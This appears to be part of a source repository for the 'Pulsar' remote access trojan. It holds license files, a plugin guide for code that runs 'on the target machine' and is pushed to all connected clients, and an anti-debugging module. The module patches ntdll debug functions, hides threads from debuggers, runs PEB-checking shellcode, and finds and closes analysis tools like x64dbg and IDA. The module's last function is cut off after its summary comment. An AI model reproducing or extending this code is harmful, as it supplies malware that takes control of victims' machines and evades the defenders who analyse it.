THE SOFTWARE.
+21
View File
@@ -0,0 +1,21 @@
Copyright (c) 2008 - 2015 Jb Evain
Copyright (c) 2008 - 2011 Novell, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+23
View File
@@ -0,0 +1,23 @@
The MIT License
Copyright (C) 2006 Alan McGovern
Copyright (C) 2007 Ben Motmans
Copyright (C) 2014 Lucas Ontivero
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+20
View File
@@ -0,0 +1,20 @@
Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+2
View File
@@ -0,0 +1,2 @@
Silk icon set 1.3 by Mark James
http://www.famfamfam.com/lab/icons/silk/
+20
View File
@@ -0,0 +1,20 @@
The core Protocol Buffers technology is provided courtesy of Google.
At the time of writing, this is released under the BSD license.
Full details can be found here:
http://code.google.com/p/protobuf/
This .NET implementation is Copyright 2008 Marc Gravell
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+607
View File
@@ -0,0 +1,607 @@
# Pulsar Plugin System - Developer Guide
Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system.
## 📋 Table of Contents
- [Quick Start](#-quick-start)
- [Plugin Types](#-plugin-types)
- [Creating Your First Plugin](#-creating-your-first-plugin)
- [Advanced Features](#-advanced-features)
- [Code Templates](#-code-templates)
- [Troubleshooting](#-troubleshooting)
## Quick Start
### What You Need
- **Visual Studio** or **VS Code** with C# support
- **Basic C# knowledge** (variables, methods, classes)
- **Most importantly, a brain**
### Plugin System Overview
- **Client Plugins**: Run on the target machine (what we'll focus on)
- **Server Plugins**: Run on the server (for UI and management)
- **Universal System**: Works with any .NET Framework 4.7.2+ project
## Plugin Types
### 0. **Client-Only Auto Plugins** (New)
- Target a single assembly that implements `IUniversalPlugin`
- Name the compiled DLL with a `.Client.dll` suffix (for example `ActionPlugin.Client.dll`) and drop it into `Pulsar.Server/Plugins`
- Every connected client loads the plugin automatically without any server UI wiring
- The plugin's `Initialize` method runs immediately after download, perfect for one-shot actions
- Update the `Version` property when you publish a new build so clients receive the fresh copy
- Optional: place a `<PluginName>.init` file next to your DLL to supply raw init data bytes
### 1. **Server-Only Plugins** (Run on server machine)
- Add menu items to the server interface
- Create custom server UI windows
- Handle server-side data processing
- **Example**: Custom client management tools, server utilities
### 2. **Server-Client Plugins** (Both components needed)
- Server part: UI and menu integration
- Client part: Actual work on target machine
- Communication between server and client
- **Example**: passwords recovery, etc
## Important Terms Explained
### Plugin State
- **`IsComplete`**: Tells the system if your plugin is done working
- **`_isRunning`**: Your own variable to track if plugin is busy
- **`ShouldUnload`**: Tells system to remove plugin from memory when done
### Plugin Lifecycle
1. **Initialize()**: Called when plugin loads (setup code here)
2. **ExecuteCommand()**: Called for each command from server
3. **IsComplete**: Checked to see if plugin is done
4. **Cleanup()**: Called when plugin is removed (cleanup code here)
### PluginResult Properties
- **Success**: Did the command work? (true/false)
- **Message**: Status message for the server
- **Data**: Raw data to send back (use Encoding.UTF8.GetBytes())
- **ShouldUnload**: Remove plugin when this command finishes?
### initData Parameter
- **What it is**: Data sent from server to plugin when it loads
- **Common uses**: Configuration, webhook URLs, file paths
- **How to use**: `string config = Encoding.UTF8.GetString(initData);`
## Creating Your First Plugin
### Step 1: Create a New Project
1. Open Visual Studio
2. Create new **Class Library (.NET Framework 4.7.2)** project
3. Name it something like `MyFirstPlugin`
### Step 2: Copy the Template Code
Replace your `Class1.cs` with this template:
```csharp
using System;
using System.Text;
using Pulsar.Client.Plugins;
namespace MyFirstPlugin
{
public class MyFirstPlugin : IUniversalPlugin
{
// Plugin Information
public string PluginId => "myfirstplugin";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "hello", "info", "status" };
// Plugin State
private bool _isRunning = false;
// Initialize the plugin
public void Initialize(byte[] initData)
{
// This runs when the plugin is loaded
// initData contains any data sent from the server
}
// Handle commands from the server
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
try
{
switch (command)
{
case "hello":
return SayHello();
case "info":
return GetSystemInfo();
case "status":
return GetStatus();
default:
return new PluginResult
{
Success = false,
Message = "Unknown command"
};
}
}
catch (Exception ex)
{
return new PluginResult
{
Success = false,
Message = $"Error: {ex.Message}"
};
}
}
// Check if plugin is done
public bool IsComplete => !_isRunning;
// Cleanup when plugin is unloaded
public void Cleanup()
{
_isRunning = false;
}
// Your custom methods
private PluginResult SayHello()
{
return new PluginResult
{
Success = true,
Message = "Hello from my first plugin!",
ShouldUnload = true
};
}
private PluginResult GetSystemInfo()
{
var info = new StringBuilder();
info.AppendLine("=== System Information ===");
info.AppendLine($"Computer: {Environment.MachineName}");
info.AppendLine($"User: {Environment.UserName}");
info.AppendLine($"OS: {Environment.OSVersion}");
info.AppendLine($"Time: {DateTime.Now}");
return new PluginResult
{
Success = true,
Message = "System info collected",
Data = Encoding.UTF8.GetBytes(info.ToString()),
ShouldUnload = true
};
}
private PluginResult GetStatus()
{
return new PluginResult
{
Success = true,
Message = $"Plugin is running: {_isRunning}",
ShouldUnload = false
};
}
}
}
```
### Step 3: Add Required References
Add these NuGet packages to your project:
- **MessagePack**
- **Pulsar.Common**
### Step 4: Build Your Plugin
1. Build your project in **Release** mode
2. Copy the `.dll` file to the server's plugin directory
3. Test it through the Pulsar server interface
## 🎨 Code Templates
### Template 0: Auto-Loaded Message Box (Client Only)
```csharp
using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Plugins;
namespace ActionPlugins
{
public sealed class ActionPlugin : IUniversalPlugin
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public string PluginId => "actionplugin";
public string Version => "1.0.0";
public string[] SupportedCommands => Array.Empty<string>();
public void Initialize(byte[] initData)
{
var message = initData is { Length: > 0 }
? Encoding.UTF8.GetString(initData)
: "Action executed!";
MessageBox(IntPtr.Zero, message, "Action Plugin", 0);
}
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
return new PluginResult
{
Success = false,
Message = "No commands supported",
ShouldUnload = true
};
}
public bool IsComplete => true;
public void Cleanup() { }
}
}
```
Compile the project as `ActionPlugin.Client.dll` (or any name ending in `.Client.dll`) and drop it into `Pulsar.Server/Plugins`. If you want to change the message at runtime, create a text file named `ActionPlugin.Client.init` next to the DLL containing the message body (UTF-8 encoded).
### Template 1: Information Collector
```csharp
public class InfoCollector : IUniversalPlugin
{
public string PluginId => "infocollector";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "collect" };
public void Initialize(byte[] initData) { }
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
if (command == "collect")
{
var info = CollectInformation();
return new PluginResult
{
Success = true,
Message = "Information collected",
Data = Encoding.UTF8.GetBytes(info),
ShouldUnload = true
};
}
return new PluginResult { Success = false, Message = "Unknown command" };
}
public bool IsComplete => true;
public void Cleanup() { }
private string CollectInformation()
{
// Your information collection code here
return "Collected information...";
}
}
```
### Template 2: Action Plugin
```csharp
public class ActionPlugin : IUniversalPlugin
{
public string PluginId => "actionplugin";
public string Version => "1.0";
public string[] SupportedCommands => new[] { "execute" };
private bool _isExecuting = false;
public void Initialize(byte[] initData) { }
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
if (command == "execute")
{
_isExecuting = true;
var result = PerformAction();
_isExecuting = false;
return new PluginResult
{
Success = true,
Message = result,
ShouldUnload = true
};
}
return new PluginResult { Success = false, Message = "Unknown command" };
}
public bool IsComplete => !_isExecuting;
public void Cleanup() { _isExecuting = false; }
private string PerformAction()
{
// Your action code here
return "Action completed successfully!";
}
}
```
### Template 3: Context Menu Client + Server Pair
This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box.
**Server plugin (compile as `ContextMenuMessage.Server.dll`):**
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Windows.Forms;
using Pulsar.Server.Networking;
using Pulsar.Server.Plugins;
namespace ExamplePlugins.ContextMenu
{
public sealed class ContextMenuServerPlugin : IServerPlugin
{
private string _pluginDirectory = string.Empty;
public string Name => "Context Menu Message";
public Version PluginVersion => new Version(1, 0, 0, 0);
public string Author => "Example";
public string Description => "Adds a context menu entry that shows a client-side message box.";
public bool AutoLoadToClients => false;
public void Initialize(IServerContext context)
{
_pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory;
context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked);
}
public void Dispose() { }
private void OnShowMessageClicked(IReadOnlyList<Client> clients)
{
try
{
var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll");
if (!File.Exists(clientAssemblyPath))
{
MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
var assemblyBytes = File.ReadAllBytes(clientAssemblyPath);
foreach (var client in clients)
{
var pluginId = $"context.menu.message.{client.Id:N}";
PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty<byte>(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize");
}
}
catch (Exception ex)
{
MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
```
**Client plugin (compile as `ContextMenuMessage.Client.dll`):**
```csharp
using System;
using System.Runtime.InteropServices;
using Pulsar.Common.Plugins;
namespace ExamplePlugins.ContextMenu
{
public sealed class ContextMenuClientPlugin : IUniversalPlugin
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public string PluginId => "contextmenumessage";
public string Version => "1.0.0";
public string[] SupportedCommands => Array.Empty<string>();
public void Initialize(byte[] initData)
{
MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0);
}
public PluginResult ExecuteCommand(string command, byte[] parameters)
{
return new PluginResult
{
Success = false,
Message = "No commands supported",
ShouldUnload = true
};
}
public bool IsComplete => true;
public void Cleanup() { }
}
}
```
Place both DLLs in `Pulsar.Server/Plugins`. The client DLL must keep the `.Client.dll` suffix so Pulsar auto-dispatches it.
### Template 4: Server-Only Message Box Plugin
```csharp
using System;
using System.Windows.Forms;
using Pulsar.Server.Plugins;
namespace ExamplePlugins.ServerOnly
{
public sealed class ServerHelloPlugin : IServerPlugin
{
public string Name => "Server Hello";
public Version PluginVersion => new Version(1, 0, 0, 0);
public string Author => "Example";
public string Description => "Shows a message box when the plugin loads.";
public bool AutoLoadToClients => false;
public void Initialize(IServerContext context)
{
MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
public void Dispose() { }
}
}
## 🔧 Advanced Features
### Working with Files
```csharp
private string ReadFile(string filePath)
{
try
{
return File.ReadAllText(filePath);
}
catch (Exception ex)
{
return $"Error reading file: {ex.Message}";
}
}
private bool WriteFile(string filePath, string content)
{
try
{
File.WriteAllText(filePath, content);
return true;
}
catch
{
return false;
}
}
```
### Working with Registry
```csharp
private string GetRegistryValue(string keyPath, string valueName)
{
try
{
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath))
{
return key?.GetValue(valueName)?.ToString() ?? "Not found";
}
}
catch
{
return "Error accessing registry";
}
}
```
### Working with Processes
```csharp
private string GetRunningProcesses()
{
var processes = Process.GetProcesses();
var result = new StringBuilder();
foreach (var process in processes.Take(10)) // Limit to first 10
{
result.AppendLine($"{process.ProcessName} (PID: {process.Id})");
}
return result.ToString();
}
```
## Stuff good to know about
### 1. **Error Handling**
Always wrap your code in try-catch blocks:
```csharp
try
{
// Your code here
return new PluginResult { Success = true, Message = "Success" };
}
catch (Exception ex)
{
return new PluginResult { Success = false, Message = ex.Message };
}
```
### 2. **Resource Management**
Clean up resources in the `Cleanup()` method:
```csharp
private HttpClient _httpClient;
public void Cleanup()
{
_httpClient?.Dispose();
}
```
### 3. **Memory Management**
Use `using` statements for disposable objects:
```csharp
using (var stream = new FileStream(path, FileMode.Open))
{
// Use stream here
}
```
### 4. **Plugin State**
Use the `IsComplete` property to indicate when your plugin is done:
```csharp
private bool _isProcessing = false;
public bool IsComplete => !_isProcessing;
```
## Troubleshooting
### Common Issues
**1. "Plugin not found" error**
- Make sure your plugin implements `IUniversalPlugin`
- Check that `PluginId` is unique
- Verify the plugin is built in Release mode
**2. "Command not supported" error**
- Add your command to the `SupportedCommands` array
- Make sure the command name matches exactly (case-sensitive)
**3. "Plugin crashes" error**
- Add try-catch blocks around your code
- Check for null references
- Use the `Cleanup()` method to reset state
**4. "Data not received" error**
- Make sure to set `Data` property in `PluginResult`
- Use `Encoding.UTF8.GetBytes()` for string data
- Check that `ShouldUnload` is set correctly
### Debug Tips
1. **Use the Message property** to return status information
2. **Set ShouldUnload = true** when your plugin is done
3. **Use the Data property** to return large amounts of data
4. **Test your plugin** with simple commands first
## Need Help?
1. **Start simple** with basic information collection
2. **Test frequently** during development
3. **ask** Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE
## You're Ready!
You now have everything you need to create powerful Pulsar plugins.
Start with the simple templates and gradually work your way up to more complex plugins.
Remember: **start simple, test often, and have fun!**
---
*Happy Plugin Development! (more like goodluck) *
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+551
View File
@@ -0,0 +1,551 @@
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Reflection;
using Pulsar.Client.Anti.Helper;
using static Pulsar.Client.Anti.Helper.Structs;
namespace Pulsar.Client.Anti.Debugger
{
public class AntiDebug
{
#region WinApi
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern bool NtClose(IntPtr Handle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool IsDebuggerPresent();
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lib);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern uint GetTickCount();
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetCurrentThread();
[DllImport("ntdll.dll", SetLastError = true)]
private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize);
[DllImport("win32u.dll", SetLastError = true)]
private static extern IntPtr NtUserGetForegroundWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern int GetWindowTextLengthA(IntPtr HWND);
[DllImport("user32.dll", SetLastError = true)]
private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern IntPtr memset(IntPtr Dst, int val, uint size);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
private static extern int GetLastError();
#endregion
/// <summary>
/// Attempts to close an invalid handle to detect debugger presence.
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
public static bool NtCloseAntiDebug_InvalidHandle()
{
try
{
int RandomInt = new Random().Next(int.MinValue, int.MaxValue);
IntPtr RandomIntPtr = new IntPtr(RandomInt);
NtClose(RandomIntPtr);
return false;
}
catch
{
return true;
}
}
/// <summary>
/// Attempts to close a protected handle to detect debugger presence.
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if an exception is caught, indicating no debugger, otherwise false.</returns>
public static bool NtCloseAntiDebug_ProtectedHandle()
{
string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString();
IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName);
uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002;
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE);
bool Result = false;
try
{
NtClose(hMutex);
Result = false;
}
catch
{
Result = true;
}
SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0);
NtClose(hMutex);
return Result;
}
/// <summary>
/// Checks if a debugger is attached to the process.
/// </summary>
/// <returns>Returns true if a debugger is attached, otherwise false.</returns>
public static bool DebuggerIsAttached()
{
return System.Diagnostics.Debugger.IsAttached;
}
/// <summary>
/// Checks if a debugger is present using the IsDebuggerPresent API.
/// </summary>
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
public static bool IsDebuggerPresentCheck()
{
if (IsDebuggerPresent())
return true;
return false;
}
/// <summary>
/// Checks for the BeingDebugged flag directly.
/// </summary>
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
public static bool BeingDebuggedCheck()
{
byte[] Code = new byte[30];
if (IntPtr.Size == 8)
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
else
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 };
IntPtr BeingDebugged = Utils.AllocateCode(Code);
if (BeingDebugged != IntPtr.Zero)
{
try
{
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt));
int Result = Executed();
Utils.FreeCode(BeingDebugged);
if (Result == 1)
return true;
}
catch
{
Utils.FreeCode(BeingDebugged);
}
}
return false;
}
/// <summary>
/// Checks for the NtGlobalFlag directly.
/// </summary>
/// <returns>Returns true if a debugger is present, otherwise false.</returns>
public static bool NtGlobalFlagCheck()
{
byte[] Code = new byte[30];
if (IntPtr.Size == 8)
Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
else
Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr NtGlobalFlag = Utils.AllocateCode(Code);
if (NtGlobalFlag != IntPtr.Zero)
{
try
{
Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt));
int Result = Executed();
Utils.FreeCode(NtGlobalFlag);
if (Result == 1)
return true;
}
catch
{
Utils.FreeCode(NtGlobalFlag);
}
}
return false;
}
/// <summary>
/// Checks if the process has debug flags set using NtQueryInformationProcess
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if debug flags are set, otherwise false.</returns>
public static bool NtQueryInformationProcessCheck_ProcessDebugFlags()
{
uint ProcessDebugFlags = 0;
NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0);
if (ProcessDebugFlags == 0)
return true;
return false;
}
/// <summary>
/// Checks if the process has a debug port using NtQueryInformationProcess.
/// <param name="Syscall">specifies if we should use syscalls to call the WinAPI functions.</param>.
/// </summary>
/// <returns>Returns true if a debug port is detected, otherwise false.</returns>
public static bool NtQueryInformationProcessCheck_ProcessDebugPort()
{
uint DebuggerPresent = 0;
uint Size = sizeof(uint);
if (Environment.Is64BitProcess)
Size = sizeof(uint) * 2;
NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0);
if (DebuggerPresent != 0)
return true;
return false;
}
/// <summary>
/// Checks if the process has a debug object handle using NtQueryInformationProcess.
/// <param name="Syscall">specifies if we should use syscall to call the WinAPI functions.</param>
/// </summary>
/// <returns>Returns true if a debug object handle is detected, otherwise false.</returns>
public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle()
{
IntPtr hDebugObject = IntPtr.Zero;
uint Size = sizeof(uint);
if (Environment.Is64BitProcess)
Size = sizeof(uint) * 2;
NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0);
if (hDebugObject != IntPtr.Zero)
return true;
return false;
}
/// <summary>
/// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment.
/// </summary>
/// <returns>Returns "Success" if the patching was successful, otherwise "Failed".</returns>
public static string AntiDebugAttach()
{
IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll");
IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint");
byte[] Int3InvaildCode = { 0xCC };
byte[] RetCode = { 0xC3 };
bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test);
bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2);
if (Status && Status2)
return "Success";
return "Failed";
}
/// <summary>
/// Checks for the presence of known debugger windows.
/// </summary>
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
public static bool FindWindowAntiDebug()
{
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" };
Process[] GetProcesses = Process.GetProcesses();
foreach (Process GetWindow in GetProcesses)
{
try
{
if (GetWindow.MainWindowHandle != IntPtr.Zero)
{
string title = GetWindow.MainWindowTitle;
if (string.IsNullOrEmpty(title)) continue;
foreach (string BadWindows in BadWindowNames)
{
if (Utils.Contains(title, BadWindows))
{
GetWindow.Close();
return true;
}
}
}
}
catch
{
continue;
}
}
return false;
}
/// <summary>
/// Checks if the foreground window belongs to a known debugger.
/// </summary>
/// <returns>Returns true if a known debugger window is detected, otherwise false.</returns>
public static bool NtUserGetForegroundWindowAntiDebug()
{
string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" };
IntPtr HWND = NtUserGetForegroundWindow();
if (HWND != IntPtr.Zero)
{
int WindowLength = GetWindowTextLengthA(HWND);
if (WindowLength != 0)
{
StringBuilder WindowName = new StringBuilder(WindowLength + 1);
GetWindowTextA(HWND, WindowName, WindowLength + 1);
foreach (string BadWindows in BadWindowNames)
{
if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows))
{
return true;
}
}
}
}
return false;
}
/// <summary>
/// Hides threads from the debugger by setting the NtSetInformationThread.
/// </summary>
/// <returns>Returns "Success" if the threads were hidden successfully, otherwise "Failed".</returns>
public static string HideThreadsAntiDebug()
{
try
{
bool AnyThreadFailed = false;
int PID = Process.GetCurrentProcess().Id;
ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads;
foreach (ProcessThread Threads in GetCurrentProcessThreads)
{
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)Threads.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0);
NtClose(hThread);
if (Status2 != 0x00000000)
AnyThreadFailed = true;
}
}
if (!AnyThreadFailed)
return "Success";
return "Failed";
}
catch
{
return "Failed";
}
}
/// <summary>
/// Uses GetTickCount to detect debugger presence.
/// </summary>
